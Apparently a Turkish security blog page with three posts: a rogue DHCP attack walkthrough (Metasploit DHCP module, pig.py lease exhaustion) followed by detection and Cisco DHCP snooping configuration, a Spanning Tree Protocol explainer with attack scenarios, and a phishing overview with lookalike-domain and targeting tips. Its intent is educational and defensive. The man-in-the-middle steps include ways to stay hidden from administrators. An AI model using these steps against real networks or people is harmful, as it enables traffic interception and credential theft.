Kategoriler
Siber Güvenlik

DHCP Snooping

Bir şirketin ethernet portuna modemi bağlasak, DHCP yayını yapsak, “Bundan sonra bu ağın yeni DHCP serveri benim, IP almak için paşa paşa benim ayağıma geleceksiniz” desek, IP adreslerini biz dağıtsak ne olur? Belki bunun için modeme bile gerek yok. DHCP server kurmak ve çalıştırmak yeterli.

DHCP (Dynamic Host Configuration Protokol) Nedir?

Öncelikle DHCP nedir ve nasıl çalışır kısaca bundan bahsedelim. Biz bir ağa bağlandığımızda bize bir IP adresi atanmalı. Aksi takdirde bağlandığımız ağda mülteci durumuna düşeriz keza bize bir kimlik atanmamıştır. Burada devreye DHCP girer. Bize bir IP adresi yanı sıra ağ maskesi, ağ geçidi, DNS adresi gibi bilgileri atar. Böylece sistem yöneticisi, her seferinde ağa bağlananlara IP adresi atamakla uğraşmaz. Kullanıcı tarafında da hiçbir ek ayara gerek kalmaz. IP adresi çakışmaları yaşanmaz. Ağda hangi VLAN’dayız, daha önce bize bir IP adresi atanmış mı, yenisini vermek lazım mı her şey DHCP tarafında hallolur. DHCP’ye önceden “Bu MAC adresi bağlanırsa, şu IP adresini ver” denmediyse rastgele olarak IP adresi atar. DHCP’nin atayacağı IP adresi aralıklarını da ayarlamak mümkündür. Aynı zamanda bilgi-işlem’e şu IP aralığını, muhasebeye bu IP aralığını ata gibi seçenekler de uygulanabilir.

DORA Süreci

Discover süreci: Ağa bağlandığımızda tüm ağa DHCPDISCOVER paketi gönderilir. Yani bilgisayarımız DHCP var mı, varsa hanginiz diye ağa sorar. Broadcast gönderilen pakette cihazımızın MAC adresi yer alır.

Offer: Bu paket DHCP servera ulaştığında server, kendini tanıtmak için kullanıcıya bir paket hazırlar. İçerisinde kendisinin IP adresi, MAC adresi ve karşı tarafın MAC adresi bulunur. Ben buradayım, IP adresi istiyorsan hemen atayayım diye dönüş yapar diyebiliriz.

Request: Kullanıcı bu isteği aldıktan sonra IP atanmasını onayladığını DHCP servera iletir.

Acknowledgement: Daha sonra DHCP server, kullanıcıya IP adresi ve gerekli diğer bilgilerinin yer aldığı paketi gönderir.

Diğer Kavramlar

Scope: DHCP serverda, kullanıcılara dağıtılmasına izin verilen IP aralığıdır. Bu sayede 50-150 arasını IP olarak dağıt gibi tercihlerde bulunabiliriz.

Exlusions: Scope’un aksine belirtilen aralığın dağıtılmamasını sağlar. 50-150 IP adresi hariç hepsini dağıt gibi tanımlamalar yapabiliriz.

Lesses: DHCP’nin kiraladığı IP adreslerinin listesini gösterir.

Reservation: Belli bir IP adresinin, belli bir cihaza atamak, rezerve etmektir. Örneğin patronun MAC adresine daima aynı IP adresini atayabiliriz.

Sahte DHCP Çalıştırmak (Rogue DHCP Attack)

Ağda sahte DHCP sunucusu kuran birisi, kullanıcılar DHCP server kim diye sorduğunda kendileri dönüş yapabilirler. Saldırgan, gönderdiği sahte DHCP paketi ile karşı tarafa kendi atadığı IP adresini gönderir. Artık kullanıcı, saldırganın DHCP  sunucusuna bağlıdır diyebiliriz. Saldırgan bundan sonra kendi DHCP sunucusuna bağlı kullanıcıların ağ trafiğini takip eder ve ulaşmak istediği adres yerine kendi istediği sayfaya yönlendirebilir. Bundan sonrasında karşı tarafın RDP’sini, mail adresini veya kurum platformundaki oturumunu phishing saldırıları ile ele geçirmesi gibi saldırıların sonu tamamen saldırganın hayal gücüne kalmıştır. Aynı zamanda man in the middle ataklarının yanı sıra ağdaki paketlerin hedefe ulaşamamasını da sağlayabilir. Neticede tüm paketler saldırgana ait DHCP üzerinden geçer ve paketlerin yönetimi de ona aittir diyebiliriz. Bu saldırıya Rogue DHCP Attack (Düzenbaz DHCP saldırısı) denir.

Öncelikle ağda bir keşif yaparak, ağ maskesi, dns sunucusu ve ağ geçidi gibi bilgilerini elde edelim. Daha sonrasında kullanılmayan IP adresi bulmamız ve kendimize tanımlamamız gerekli. Atak esnasında yeni bağlanan cihazlara IP atamak için de boştaki IP aralıklarını tespit etmek IP çakışmalarını önlemek için faydalı olabilir.

Keşif aşaması bittikten sonra cihazımızda eth0’ı daha önceden belirlediğimiz, kullanılmayan bir IP adresine ayarlayalım. Bu adres artık bizim sahte DHCP’mize ait olacak.

Ardından, Kali makinesinde, sahte DHCP istemcileri yönlendirmek için varsayılan ağ geçidi olarak kullanılacak bir ağ alt arayüzü oluşturacağız.

Ağdaki diğer cihazları bizim DHCP sunucumuza yönlendirmek için bir ağ alt arayüzü oluşturacağız ve sonra varsayılan ağ geçidi olarak ayarlayacağız.

Yeni ağ alt arayüzümüz olan eth0:1’e , halihazırda kullanılmayan bir IP adresi atayalım. Göze batmaması için varsayılan adresler daha sağlıklı olacaktır. Örneğin varsayılan yol 10.1.1.1 ise 10.1.1.11 veya varsayılan yol 10.1.1.254 ise 10.1.1.251 kullanın.

Şimdi makinemizin IP yönlendirmeye (ip_forwarding) izin vermemiz gerekiyor. Ancak makineyi yeniden başalttığımızda bu ayar değişecektir. Bu durumda, bu ayarları tekrar kontrol etmeyi unutmayın.

Daha sonra eth0:1 ağ alt arayüzümüz için varsayılan ağ geçidi ayarlamamız gerekiyor. Ağdaki gerçek “varsayılan ağ geçidine” (192.168.1.1) ayarlayacağız. Bu sayede bize gelen paketler, sahte DHCP sunucumuz üzerinden geçtikten sonra gerçek DHCP sunucusuna gidecek. Bu sayede ağ trafiği devam ettiği için kimse ağdaki saldırının ilk bakışta farkında olmayacaktır. Tabi biz ağdaki trafik akışını aksatmak istiyorsak durum farklı.

Aşağıdaki komutla beraber route tablosunu ekrana basıyoruz. 0.0.0.0 olarak ayarlanan “Genmask”, bilinmeyen trafiğin 192.168.1.1 ağ geçidine gönderilmesi gerektiği anlamına gelir. Ayrıca flags değerindeki(UG), G varsayılan ağ geçidini ifade eder.

Şimdi saldırı aşamasına geçelim. Yeni terminalde “msfconsole” komutu ile metasploiti açalım. Sahte DHCP oluşturmak için bir modül kullanacağız.

msfconsole

msf > use auxiliary/server/dhcp

Show options komutu ile bu modülü kullanmak için nelere ihtiyacımız var bir bakalım.

Başlangıçta ağı keşfederken boşta olan IP aralıklarını not almıştık hatırladınız mı? Burada kullanmamız gerekecek. DHCPIPSTART‘ın karşısına IP aralığının başlangıcını, DHCPIPEND‘in karşısına ise IP aralığının bitişini yazıyoruz. Görüldüğü üzere bu bilgiler zorunlu değil. Daha sonra DNSSERVER seçeneğini ayarlama sebebimiz ise kullanıcıların erişmek istediği web sayfalarına istekte bulunurken karşılık bulmasıdır. Eğer kullanıcılar web sayfalarına erişemezse muhtemelen ağ yöneticisine bir sorun olduğunu bildirecek ve saldırımız tehlikeye düşecek. DNSSERVER‘ı “8.8.8.8” ayarlıyoruz. Evet Google DNS sunucuları 🙂

SRVHOST kısmına makinemizin yerel IP adresini girip ağ maskesini de ayarlıyoruz. Yine ağ trafiğinde sorun yaşanmaması için ağ maskesini (NETMASK), gerçek DHCP sunucunun ağ maskesine ayarlıyoruz. Son olarak ROUTER değerini de önceden belirlediğimiz şekilde ayarlayarak modüle gerekli verileri vermiş oluyoruz.

DHCP sunucumuzu başlatmadan önce ağda son olarak neler olup bitiyor, gerçek DHCP sunucusu ne durumda bir kontrol edelim.

Şu anda DHCP sunucusundan iki IP adresi kiralanmış. Oluşturacağımız sahte DHCP sunucusu için belirlediğimiz IP aralığını önceden kiralayalım. Daha sonra bu IP adreslerini, bizden IP isteyen kullanıcılara dağıtacağız. Öncelikle IP adreslerini topluca kiralamak için yeni bir terminal daha açın. Aşağıdaki komutu çalıştırarak kiralanabilir IP adreslerini alacağız:

pig.py eth0:1

DHCP sunucusuna son kez göz atacak olursak artık tüm IP adreslerinin kiralandığını ve rastgele isimlere sahip olduğunu görebiliriz. Bu isimlendirme dikkat çekebilir, belki gerçekçi isimler vermek için de bir yol vardır. Ama biz saldırıya odaklanalım şimdi.

Artık elimizde dağıtacak bolca IP adresi ve çalışmak için tetikte bekleyen sahte bir DHCP sunucusu olduğuna göre saldırıya hazırız. Metasploit sekmesine dönerek run komutunu verebiliriz.

Artık IP adresi isteyen kişiler bize uğrayacak, biz gerçekten de DHCP’ye kaydettiğimiz için network admini durumu öyle kolayca çark edemeyecek, trafik biz kasten yapmadıkça aksamayacak ve bütün internet paketlerine biz sahip olacağız. İç ağ, dış ağ, web sayfaları her şeyi takip edebilir ve paketleri değiştirebiliriz. Temiz yöntem…

Bir kontrol edelim DHCP artık biz miyiz değil miyiz?

Aşağıdaki görselde de 80 portuna yani web adresine atılan bir isteğin görüntüsü yer alıyor.

Ağdaki Sahte DHCP Yayınlarının Tespiti

Wireshark

Bunun için ağdaki paketleri takip etmek yeterli. Wireshark bunun için en ideal araç. Neticede yalnızca saldırılar için değil blue team ve network üzerindeki hataların tespitinde de kullanıyoruz. Arama kısmına “bootp.type == 2” yazarak sadece DHCP ve ACK paketlerinin dinlenmesini sağlarız. Bu paketleri yalnızca DHCP sunucu gönderir. Eğer burada sizin DHCP sunucunuzun dışında başka bir IP adresi varsa sahte DHCP sunucusu olduğunu söyleyebiliriz.

Başka bir örnek daha verelim. Aşağıda olması gereken bir DHCP trafiği görüyoruz. f0:de:f1:a3:5d:d6 MAC adresi, ağımızın çaylağı, yeni bağlanan biricik kullanıcısı. 00:18:0a:40:05:34 ise ağdaki gerçek DHCP’nin mac adresi. DORA sürecine uygun biçimde kullanıcımız “Discover” ile DHCP sunucusunu aramış ve iletişime geçerek bir IP adresi almış.

Aşağıdaki wireshark çıktısı ise biraz daha uzun. 00:18:0a:10:8b.e0 MAC adresine sahip cihaz, DHCP sunucusu ile IP almak isteyen cihaz arasındaki iletişime sıkça salça olmuş gibi görünüyor. DORA sürecine dahil olup DHCK NAK (Negative Acknowledgment) paketleri göndermiş. Yani IP taleplerini olumsuz karşılamış. Bunu yapan ağdaki gerçek DHCP sunucusu olmadığına göre birilerinin ağda sahte DHCP sunucusu ayağa kaldırdığını tespit ettik demektir. 00:18:0a:10:8b.e0 MAC adresi sahte DHCP sunucumuzdur.

Tcpdump

Tcpdump’da ise kaynağın 67. portundan hedefin 68. portuna ulaşan UDP paketlerini takip ederiz. Aşağıdaki komutla bunu yapmak mümkün.

tcpdump -i eth0 -l  “udp src port 67 and udp dst port 68″

DHCP Snooping Tanımı ve Konfigürasyonu

Cisco bu saldırılara önlem olarak DHCP Snooping özelliği geliştirmiştir. Bu yöntemde artık yalnızca belirli portlardan DHCP yayınına izin verilir. Portlar güvenilir ve güvensiz olarak tanımlanır. Güvenli portlar üzerinden DHCP yayınına izin verilirken güvensiz portlardan gelen DHCP paketleri çöpe atılır. Bunun için ilgili switchlerde DHCP snooping özelliğinin açılması gerekir. Bunu da aşağıdaki komutla gerçekleştiririz:

Switch> enable

Switch# conf t

Switch(config)# ip dhcp snooping

Özelliği kapatmak için ise şu komut kullanılır:

(config)#no ip dhcp snooping

Özelliği aktif ettikten sonra hangi vlanda geçerli olacağını belirtmemiz, vlanları yapılandırmamız gerekiyor.

Switch(config)#ip dhcp snooping vlan 1

Daha sonra güvenilir portları belirlemek gerekiyor. Bunun için de seçtiğimiz interface’e geçerek onun güvenilir olduğunu belirtiyoruz.

Switch(config)#interface fastEtherne t 0/1

Switch(config-if)#ip dhcp snooping trust

DHCP snooping ayarlarımızı kontrol etmek için aşağıdaki komutu kullanırız. Sonuna “binding” ekleyerek hangi IP adresi hangi MAC adresine atanmış öğrenebiliriz.

Switch#sh dhcp snooping [binding]

Artık DHCP sunucumuz dışında kimse IP dağıtamayacak. Ancak hala başka bir sorun var ortada. Kullanıcılar, DHCP sunucudan sürekli IP adresi talep ederek IP havuzunu tüketebilirler. Bunu da önlememiz gerekiyor. Bunun için ise güvensiz bütün portlara bir sınırlama koymak mantıklı olur. Bunun için DHCP sunucusuna saniyede kaç paket gönderileceğini belirtelim. Saniyede en az iki paket gitsin ki kullanıcı IP alabilsin. Önceden anlattığımız gibi önce DHCP kim diye soran cihaz, daha sonra IP adresi istediğini teyit eden bir paket gönderiyordu. Saniyede giden paket sayısı ikinin altında olursa makine IP alamaz.

Switch(config)#interface fastEthernet 0/2

Switch(config-if)#ip dhcp snooping trust limit rate 2

Eğer kullanıcı saniyede ikiden fazla DHCP paketi gönderirse fazladan gönderdiği paketler çöpe atılır ve port bloklanır. İhtiyaç duyulursa, buradaki sınırlandırmayı güvenilir portlarda da yapabiliriz.

Artık güvenilir olmayan portlar arka arkaya istek atamıyor. Ancak paketleri daha yavaş göndererek de hala IP’leri bitirebilirler. Bunun için de bir porttan aynı anda en fazla kaç MAC adresi için IP istenebileceğini belirtebiliriz.

Switch(config)#interface fastEthernet 0/2

Switch(config-if)#switchport port-security

Switch(config-if)#switchport port-security maximum 3

Faydalandığım ve daha farklı örneklerin de bulunduğu kaynaklar:

Kategoriler
Siber Güvenlik Teknoloji

Spanning Tree Protokolü, Ataklar ve Önlemler

Siber güvenlikte en hassas saldırılar genellikle network saldırılarıdır. Çünkü network zafiyetleri genellikle güncelliğini korur ve sistemin temelinde network bulunduğu için bu saldırılar oldukça etkileyici olur. Zafiyetleri tespit etmek ve anlamak için önce sistemin nasıl çalıştığını anlamak gerekir. Bu yüzden önce spanning tree protokolüne neden ihtiyaç duyulduğu, tanımı ve protokolün kullanılması halinde sürecin nasıl işlediği öncelikli ele alınmıştır. Daha sonrasında ise spanning tree protokolünün diğer versiyonları ve switchler üzerinde pratik olarak nasıl konfigüre edileceği anlatılmıştır. Son olarak da bu protokolün kullanımında oluşabilecek zafiyetler ve mantık hataları ele alınmış, zafiyetlere karşı geliştirilen önlemler

Gereksinim ve Temel Tanım

Bilgisayarların iletişime geçmeleri için kurduğumuz ağları birbirine bağlayacağımız donanımlara ihtiyaç duyarız. Bunlardan birisi de switch’tir. Her bilgisayara bağlı kablolar, switch’in portuna bağlanır. Bu sayede artık bilgisayarlarımız birbirleri ile iletişime geçebilir. Ancak switchler, kendisine gelen bir paketi, kendisine bağlı tüm cihazlara gönderir. Bu duruma broadcast yayın denir. Aşağıda switch kullanılan örnek bir topoloji yer alıyor.

Bu durumda birden fazla switch olduğunu ve henüz konfigüre etmediğimizi düşünelim. Switchleri bağlamak için yedekli bir yapı kullanılır. Yani tek kablo ile değil, iki kablo ile yedekli, halkasal bir yapı oluşturulur. İki switch’in birbirine bağlı olduğu bir ağda, switch’lere gelen bir paket sonsuz bir döngüye (loop) girecektir. Çünkü önceden de dediğimiz gibi switchler kendisine gelen paketi, konfigüre edilmemesi halinde portlarına bağlı tüm cihazlara gönderiyordu. Bu portlardan birisinde de başka bir switch varsa o da paketi geri gönderecektir. İç ağda TTL (Time to Live) süresi bulunmayan paketler dönüp duracaktır. Buna broadcast fırtınası da denir. Switchler’den birisi kapatılana veya aralarındaki bağlantı kablosunun bir ucu porttan çekilinceye kadar sonsuz döngü devam edecektir.

Spanning Tree Protocol bu döngüyü bozmak için paketin geldiği portu devre dışı bırakır. Bu sayede gelen paket, paketi gönderen switche tekrar gönderilmez. Aynı zamanda STP, paketlerin ilerlemesi için en doğru yolu da belirler. Protokol uygulamaya koyulduktan sonra switchler’in topolojisini yapılandırır. Belirlenen yollardan birinde arıza olması durumunda da alternatif rotayı belirleyerek paketi hedefe ulaştırır. Haliyle spanning tree protokolü OSI katmanlarında layer 2’de yer alır. IEEE 802.1D standardı ile tanımlanmıştır.

Bridge Protocol Data Units (BPDU)

Spanning tree protokolünün çalışması için networkte sürekli dolanan BPDU isminde paketler bulunur. BPDU paketleri her iki saniyede bir diğer switchlere gönderilir. İçerisinde bridge ID’yi bulundurur. Bridge ID, bridge priority(öncelik) ve MAC adresi bilgilerini taşır. Bridge priority 2 byte, MAC adresi 6 byte, toplamda bridge ID ise 8 bytetır. Varsayılan bridge priority değeri ise 32768 olarak gelir.

Bu paketlerin izleyeceği yol için aşağıdaki adımları takip etmek gerekiyor:

  • Root bridge seçimi yapılır. Bridge priority değeri sıfıra en yakın olan switch, seçilir. Eğer tüm switchlerin önceliği eşit ise bu durumda MAC adresi en küçük olan switch, root bridge olacaktır. Root bridgelerin tüm portları designated porttur. Zaten kendisi root bridge olduğu için root portu bulunmaz.
  • Switchlerin, root bridge’den alacağı paketler için root portları belirlenir. Bu port, root bridge tarafına en yakın yolu olduğu porttur.
  • Switchlerin designated portları belirlenir. Switchlere aksi belirtilmedikçe son kullanıcıya bağlı portlar designated portu olur.

Switchlerin son kullanıcıya bağlı portları designated portu olduğuna göre switch, son kullanıcıya da BPDU paketleri gönderecektir. Ancak biz bu paketlerin yalnızca switchler arasında dolaşmasını istiyoruz. Aksi durumda ağda gereksiz bir trafik oluşacaktır. Bunun için de BPDU guard ve BPDU filter geliştirilmiştir.

Switchler arasındaki paketlerin sonsuz döngüye girmemesi için ise designated portlardan birisi seçilerek bloklanır. Bu porta artık non-designated port denir. Root port belirlenirken ise en yakın olan yani verinin en hızlı gideceği yol tercih edilir. Bu hız, cost değerine göre belirlenir. Alınan yollardaki bant genişliğinin karşılığındaki cost değerleri toplanır ve en düşük olan yol seçilir. Aynı zamanda bu yolun switch tarafındaki portu root port seçilir. Bant genişliği arttıkça cost değeri düşer.

Bandwidth (Bant Genişliği) Cost (Yol değeri)
4 Mbps 250
10 Mbps 100
16 Mbps 62
45 Mbps 39
100 Mbps 19
155 Mbps 14
622 Mbps 6
1 Gbps 4
10 Gbps 2

Switchler root portundan aldıkları BPDU paketleri ile diğer switch’leri tanırlar, root bridge’in kim olduğunu bilirler, ağdaki değişikliklerden haberdar olurlar ve loop durumu olmaması için spanning tree protokolünü artık kullanabilirler. Ağ topolojisi sağlıklı bir şekilde kurulduktan sonra artık switchler, root bridge’den gelecek Hello BPDU’sunu beklerler. Loop durumuna sebep olan portların tespit edilip kapatılma aşaması 20 saniye, listening süresi 15 saniye, learning süresi 15 saniye ve daha sonrasında ise diğer switche BPDU paketinin yönlendirilmesi ile süreç tamamlanır. Yaklaşık 50 saniye sürer. Bu sırada ağdaki kullanıcılar birbirleri ile iletişimde kalmaya devam ederler.

Switch Port Durumları

Switchlerin her portu için atanan belirli durumlar vardır. Bu sayede hangi porttan BPDU iletilip iletilemeyeceğini veya hangi işlemlerin yapılabileceğini yönetiriz.

Port Durumu Açıklama
Disabled STP devre dışı. Varsayılanda da bu geçerlidir.
Blocking Paketlerin bu porttan iletilemeyeceği anlamına gelir. Yalnızca BPDU paketleri alınır fakat iletilmezler.
Listening BPDU paketleri alınır ve gönderilir. Aktif topoloji oluşturulur.
Learning BPDU paketleri alınır, işlenir (birdge tabloları oluşturulur) ancak diğer switchlere iletilmez.
Forwarding BPDU paketleri alınır, işlenir ve diğer switchlere iletilir.

Spanning Tree Protokol Versiyonları

Rapid Spanning Tree Protokol (RSTP)

STP’nin gelişmiş halidir. Bekleme süresi sıkıntı çıkartmaya başlayınca bu 55 saniyelik süreci en aza indirmek için RSTP geliştirilmiştir. Buradaki çözüm ise bir portu bloklamak yerine yok etme metodunu kullanmasıdır. Bu sayede designated durumundaki portlar, root portta arıza çıkması durumuna karşı her zaman hazırlıklıdır. Cost değerini önceden hesaplarlar ve root port arızalandığında yerine geçerler. Bu süreç bir ile on beş saniye arasında sürer ve önemli bir zaman kazanılmış olur.

Port Durumu Açıklama
Forwarding BPDU paketleri alınır, işlenir ve diğer switchlere iletilir.
Learning BPDU paketleri alınır ve gönderilir. Aktif topoloji oluşturulur.
Discarding Bloklanan porttur. BPDU paketleri alınabilir.

 

Multiple Spanning Tree Protokol (MSTP)

RSTP’nin de bazı sorunları çözememesi üzerine MSTP geliştirilmiştir. RSTP ile aynı mantıkta çalışır ancak farklı olarak switch üzerinde bulunan diğer portları bloklamaz onun yerine her porttan farklı vlanlar geçirerek yük dengelenmesini sağlar. Yani çalışan bir portta sorun yaşanması durumunda diğer portlar üzerinden çalışmaya devam eder.

Port Durumu Açıklama
Root Port
Root bridge’e veri gönderen ve en düşük cost değerine sahip olan porttur.
Designated Port
Swich üzerlerindeki BPDU paketlerini ileten porttur.
Alternate Port Başka bir switch üzerinden gönderilen BPDU paketlerini aldıktan sonra, göndermek için alternatif bir port olarak blokede bekletir. Root Bridgeye yeniden bağlantı için alternatif yoldur.
Backup Port Adından da anlaşılacağı üzere yedek olarak hazırda bekleyen porttur.
Master Port
MST region içerisinde aldığı BPDU’ları Root Bridge gönderir. Root Bridge’e en yakın porttur.
Edge Port
Portlara doğrudan bağlanan terminal cihazlarıdır.
Forwarding
Learning

Discarding

RSTP’deki durumla aynıdır

Konfigürasyonların Gerçekleştirilmesi

Spanning Tree Kontrolü

Switch>en

Switch#sh spanning-tree

Bu komutları çalıştırdığımız switchte, önce enable moda geçip sonra spanning tree protokolü aktif mi öğreniyoruz. Aynı zamanda aktifse bu root ID, bridge ID, interaface gibi bilgilere de erişebiliriz. Aktif olduğunu “Spanning tree enabled protocol ieee” satırından anlayabiliriz. Interface kısmında hangi portun hangi durumda olduğu yer alır. “Sts” kısmı, gelen paketi yönlendiriyor ise FWD, port bloklanmış ise “BLK” olarak belirlenir.

Root Bridge Değiştirilmesi

Switch#spanning-tree vlan 1 priority 4096

Root bridge yapmak istediğimiz switch’in konfigürasyonunu yukarıdaki gibi gerçekleştiriyoruz. “vlan” ve “priority” değerleri değişkendir. Burada switch’In priority yani öncelik değeri 4096 oluyor. Verilen değerin ne olduğu teorik olarak önemli değil, en küçük değer kendisine ait olduğu için artık root bridge kendisidir. Ancak pratikte 4096 ve katları verilir. Kendisinden daha düşük değerde bir priority’e sahip switch olup olmadığı kontrol edilmelidir. Varsayılan 32768 olduğu için bizim verdiğimiz değer şu anda en küçük değerdir. Elli saniye sonunda root bridge değiştirilmiş olacak. Ayrıca pratikte, switchlerin birdge priority değeri direkt olarak varsayılanı verilmez. 32768(215) + [vlan ID] şeklinde verilir. Yukarıda değişiklik yaptığımız vlan 1’in önceki priority değeri 32768 +1 = 32769 şeklinde girilir.

PortFast

Switch>config

Switch(config)#interface fastEthernet 0/1

Switch(config-if)#switchport mode Access

Switch(config-if)#spanning-tree portfast

Elli saniyelik BPDU döngüsü sırasında diğer paket işlemleri devam edebilir. Fakat bunun için portfast aktif edilmelidir. Portfast ile beraber listening ve learning evreleri atlanır. Aktif edilecek portu Access mode’da çalışması gerekir. Bu özelliğin aktif edildiği porta hub, bridge ve switch gibi cihazlar bağlanırsa yine loop’a sebep olur. Sunucu ve son kullanıcı cihazlarının bağlı olduğu portlarda uygulanır.

BPDU Guard

Switch>config

Switch(config)#interface fastEthernet 0/1

Switch(config-if)#spanning-tree bpduguard enable

Portfast aktif edilmesi halinde oluşabilecek loop durumunu engellemek için BPDU Guard kullanılır. İlk aşamada sadece sunucu ve son kullanıcı cihazları bağlı olan porta daha sonra switch eklenebilir. Bu durumda oluşacak loop BPDU’nun aktif edilmesi ile engellenir.

Saldırı Senaryoları ve Önlemleri

Root Bridge Ele Geçirilmesi ve Root Protection

Root bridge atanırken önce priority değerine sonra da MAC adresine bakılıyordu. Bu durumda root bridge’in priority değeri sıfır dahi olsa ağa MAC adresi daha düşük olan bir cihazla bağlanarak BPDU paketleri alınabilir ve bu cihaz root bridge gibi gösterilebilir. Bu durumda bütün ağ trafiği bu cihaz üzerinden geçer. Aynı zamanda cihazı belli aralıklarla kapatıp açarak ağ sekteye uğratılabilir. Bu durumda paketler asla hedefine ulaşmaz. Bunun için root protection konfigürasyonu yapmak gerekir.

[SW1-GigabitEthernet0/0/13]stp root-protection

Spanning Tree Protokol Zamanlayıcıları

“Hello”, “Max Age” ve “Forward Delay” zamanlayıcıları, root bridge tarafından kontrol edilir ve müdahale edilebilir. Root bridge ele geçirildikten veya yerine geçildikten sonra bu paketler değiştirilebilir. “Max Age” ve “Forward Delay” paketleri en yüksek değerine, “Hello” paketi en düşük değerine alındığında bir süreliğine paket alışverişi aksatılabilir.

Topoloji Değişim Mesajları

Ağdaki switchler, kendisine bağlı olan cihazlarda fiziksel bir hata çıkması durumunda root porta TCN paketi gönderir. Bu paket ağ topolojisinin değiştiğini ve ilgili değişiklik bilgisini taşır. TCN paketi root bridge’e ulaştığında, root bridge “max age” ve “forward delay” değerleri kadar bir zaman için TC mesajını tüm portlara gönderir. Böylece bütün ağ, yeni topolojiden haberdar olur. Bu sistemi kötüye kullanmak için TCN mesajları tüm switchlere gönderilirken üzerinde değişiklik yapılarak ağın uzun süre aksaması sağlanabilir.

Kategoriler
Siber Güvenlik

Phishing Nedir?

Phishing Nedir?

Siber dünyanın en köklü ve sık kullanılan saldırı yöntemlerinden birisi olan phishing kavramı, İngilizce’de balık avlamak anlamına gelen “fishing” kelimesinden esinlenerek oluşturulmuştur. Bu saldırıda saldırgan, güvenilir bir kuruluşun adını kullanarak karşı tarafa ait parola, banka hesabı, kredi kartı bilgileri veya herhangi bir sistemdeki oturumu gibi kritik bilgileri elde etmeye çalışır. Sosyal mühendislik kapsamında değerlendirilir ve farklı siber saldırılarla beraber kullanılabilir. Genellikle saldırgan, toplumca güvenilir olduğu kabul görmüş kuruluşlardan geldiği imajı verdiği bir mail gönderir. Mail içeriğinde genellikle parola yenileme linki veya giriş yap butonu yer alır. Ancak bu linkler saldırganın kendi sayfasına yönlendirilmiştir. Bu sayede karşı taraf giriş bilgilerini girdiğinde, hassas veriler saldırgana ulaşır ve genellikle sahte sayfanın bulunduğu URL, giriş yapıldıktan sonra orijinaline yönlendirme yapar.

Spear Phishing: Spesifik bir hedefi olan phishing saldırılarıdır. Bu hedef için öncesinde kapsamlı bir bilgi toplama çalışması yapılır ve ondan sonrasında saldırı senaryosu hazırlanır.

Pharming: Saldırgan, DNS kayıtlarını zehirleyerek bir web sitesinin ziyaretçilerini, saldırı için hazırladığı sayfaya yönlendirir.

Clone phishing: Saldırgan, toplum tarafından güven kazanmış kuruluşlarca gönderilen mail şablonlarını taklit ederek yeni bir mail içeriği hazırlar. Burada genelde yalnızca kendisine ait zararlı URL’i, gerçek URL ile değiştirir.

Email Spoofing: Saldırgan, başka bir kuruluşa veya kişiye ait mail adresini gönderdiği mail headerına ekler. Bu sayede maili açan personel, müdürünün, IT ekibinin veya güvendiği bir kurumun mail adresini görür ve mail içeriğine güvenir.

Su Kaynağı: Saldırganlar, hedeflediği kuruluştaki personelleri analiz ederek hangi siteleri sık ziyaret ettiğini tespit eder. Daha sonrasında bu sitelere zararlı kod enjekte etmeye çalışır.

Yöntemler

Saldırgan, farklı yöntemler de kullanabilir. Örneğin hedef aldığı bir kuruluşsa, bu kuruluştaki en dikkatsiz kişiyi tercih eder. Bu kişi alışverişi seviyorsa ona özel büyük bir indirim kuponu maili gönderilebilir. Sosyal medyada maaşından veya geçim sıkıntısından dert yanmışsa bu kişiye patrondan gelen maaş zammı maili atılabilir. Senin hakkında şu haberi buldum diyerek merak uyandırılabilir veya acil dönüş yapılmaması halinde kuruluşun veri kaybedeceğine dair bir senaryo ile hedef kandırılabilir. Bunların yanı sıra başarılı bir phishing mailinde genellikle inandırıcı ve başarılı hazırlanmış bir görsel, mail teması ve düzgün bir metin kullanılır. Öte yandan mailin gönderildiği zamanlama da önemli olabiliyor. Örneğin mesainin sonuna doğru ve yoğun olunan bir zamanda yapılan phishing saldırısı, karşı tarafın maili dikkatle inceleme süresini azaltabiliyor. Veya öğle molası sonrası, rehavete kapılan ve bu sırada mail kutusunu kontrol eden personeller hedef alınabiliyor. Hedef kurumdaki personellerin yapısına göre senaryo değişebilir. Ancak phishing saldırıları öncesinde bilgi toplama kısmı da oldukça önemli. Her personelin zayıf anını ve zaaflarını bilmek, saldırının başarı oranını arttıracaktır.

Söz konusu URL’ler taklit edilen güven kazanmış kuruluşun URL’lerine oldukça benzetilir. Bunun için birden fazla yöntem kullanılır.

Orijinal domainimiz domainbank.com olsun.

  • Domaindeki harflerden birinin, şekil olarak benzer bir harfle yer değiştirmesi ile bir domain oluşturulabilir.

clomainbank.com/loginpanel.php

  • Saldırıda kullanılacak olan bir domaine, hedef domainin adının geçtiği bir subdomain açılabilir.

domainbank.com.phishingdomain.com/loginpanel.php

  • Saldırgan zaman zaman gerçek domainden de bir saldırı gerçekleştirebilir. Örneğin hedef kuruluşta reflected XSS zafiyeti elde etmesi halinde zafiyetli URL’e, zararlı kod parçacığını ekler. oluşan bu zararlı URL’i kuruluştaki tüm personellere gönderir. Personeller, çalıştığı kuruluşa ait bu URL’e güvenerek tıkladığında oturumunu saldırgana kaptırır. Aynı yöntem, farklı web uygulama zafiyetleri ile de birleştirilebilir.
  • Sık rastlanmamakla beraber oldukça riskli olan bir başka yöntem ise IDN aracılığı ile görünürde IDN domain ile bire bir aynı olan domainler alınan saldırılardır. Eskiden Türkçe, Çince karakterler gibi ASCII karakterlerin dışındaki domainler alınamıyordu. Ancak artık unicode domainler de alınabiliyor. Bu sayede farklı unicodelara sahip fakat aynı görünen harfler kullanılarak domain alınıyor. Saldırganlar da hedeflediği güvenilir kuruluşun domainini taklit eden domainler alıyor. Örneğin:

Buradaki yöntemde saldırı için şu URL kullanılır:  https://www.аррӏе.com/

Ancak linke tıklandığında Apple’ın orijinal sayfası değil, başka bir sayfa karşınıza çıkar. Çünkü tıkladığınız URL Apple’a ait olan apple.com değil, xn--80ak6aa92e.com adresidir. Birçok tarayıcı bunun için önlem alır ve bu linklere tıklandığında phishing riskine karşı uyarır. Ancak kullanıcının gözle ayırt etmesi neredeyse imkansızdır.

